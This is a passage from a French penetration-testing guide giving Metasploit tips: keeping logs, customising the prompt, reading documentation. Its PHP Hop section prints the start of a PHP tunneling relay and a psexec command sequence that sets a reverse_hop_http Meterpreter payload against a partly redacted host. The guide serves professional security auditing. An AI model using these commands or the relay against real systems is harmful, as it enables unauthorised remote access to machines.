Les trucs et astuces
Introduction
La différence entre un auditeur junior et un auditeur confirmé est sans nul doute l’expérience gagnée par ce dernier suite à la réalisation de nombreux audits. Néanmoins, ce n’est pas parce que l’on fait la même chose pendant cinq ans qu’on le fait obligatoirement bien.
En effet, la différence entre les deux auditeurs viendra également de l’utilisation d’une méthodologie claire et efficace (quelles sont les différentes phases d’un test d’intrusion) ainsi que l’utilisation de différentes astuces permettant de gagner du temps.
Garder des traces
Bien que la réalisation de tests d’intrusion soit un métier à part entière et que les consultants soient formés pendant des années à exécuter ces tâches dans les meilleures conditions (incluant la minimisation des risques pour le client), il reste utopique de croire que le risque zéro n’existe pas. Effectivement, les effets de bord au sein de systèmes complexes peuvent arriver malgré l’emploi de toutes les précautions possibles et imaginables.
Afin de garder les traces de l’ensemble des actions effectuées sans avoir à remonter la totalité de la console pour identifier la commande utilisée deux jours plus tôt, le framework Metasploit met à disposition un système de gestion des logs.
La commande show options vue au chapitre Premiers pas avec Metasploit donne l’ensemble des détails relatifs à un module en particulier.
Néanmoins, il est également possible d’exécuter cette commande à l’extérieur d’un module pour afficher les options propres au framework :
msf6 > show options
Global Options:
===============
Option Setting Description
------ ------- ----------- ...
Tunner l’invite de commande Metasploit
L’invite de Metasploit est relativement simpliste :
msf6 >
Au sein de la commande show option, il est possible de modifier le paramètre Prompt afin de disposer d’une invite de commande personnalisée. Plusieurs variables peuvent être utilisées pour la personnalisation :
-
%D = Dossier courant
-
%H = Nom d’hôte
-
%J = Nombre de tâches (jobs) en cours d’exécution
-
%L = Adresse IP locale
-
%S = Nombre de sessions ouvertes
-
%T = Timestamp
-
%U = Nom d’utilisateur
Ces informations (dossier courant, adresse IP locale) peuvent faire gagner beaucoup de temps, notamment durant l’exploitation d’un reverse shell :
msf6 > set PROMPT %L
PROMPT => %L
192.168.171.152 > set PROMPT %L - %D
PROMPT => %L - %D
192.168.171.152 - /root >
Enfin, il est également possible de rajouter un effet visuel grâce à l’affichage en couleur de ces valeurs :
PHP Hop
PHP Hop est un payload permettant de faire transiter l’ensemble des communications à travers une connexion HTTP ou HTTPS (un hop point).
Afin d’exécuter cela, il est nécessaire de déposer le code PHP permettant de réaliser le tunneling au sein d’un serveur web accessible et autorisant l’exécution du PHP. Le code PHP se trouve au sein du framework Metasploit dans le fichier /usr/share/metasploit-framework/data/php/hop.php :
root@kali:~# head /usr/share/metasploit-framework/data/php/hop.php
<?php
$magic = 'TzGq';
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
if(!is_dir($tempdir)){
mkdir($tempdir); //make sure it's there
}
//get url
$url = $_SERVER["QUERY_STRING"];
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
Une fois le code PHP mis en place, certains modules permettent l’utilisation de payloads de type reverse_hop_http tel que psexec par exemple :
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set PAYLOAD
windows/meterpreter/reverse_hop_http
PAYLOAD => windows/meterpreter/reverse_hop_http
msf6 exploit(windows/smb/psexec) > set RHOSTS XX.XX.45.235
RHOSTS => XX.XX.45.235
msf6 exploit(windows/smb/psexec) > set SMBPass Password
SMBPass =>...
Lire la documentation
Un énorme travail est réalisé quotidiennement sur le framework Metasploit afin de le rendre le plus accessible et le plus complet possible. Afin de suivre les différents changements, il est nécessaire de lire et relire régulièrement la documentation officielle, accessible à l’adresse suivante : https://metasploit.help.rapid7.com/docs
Bien qu’elle ne soit pas officielle, la documentation proposée par Offensive Security au sein de son projet Metasploit Unleashed est complète et très bien rédigée. Cette documentation est accessible ici : https://www.offensive-security.com/metasploit-unleashed/
De plus, le blog de Rapid7 regorge d’informations intéressantes sur les nouveaux modules et les nouvelles fonctionnalités. Le blog est accessible à l’adresse suivante : https://blog.rapid7.com/tag/metasploit/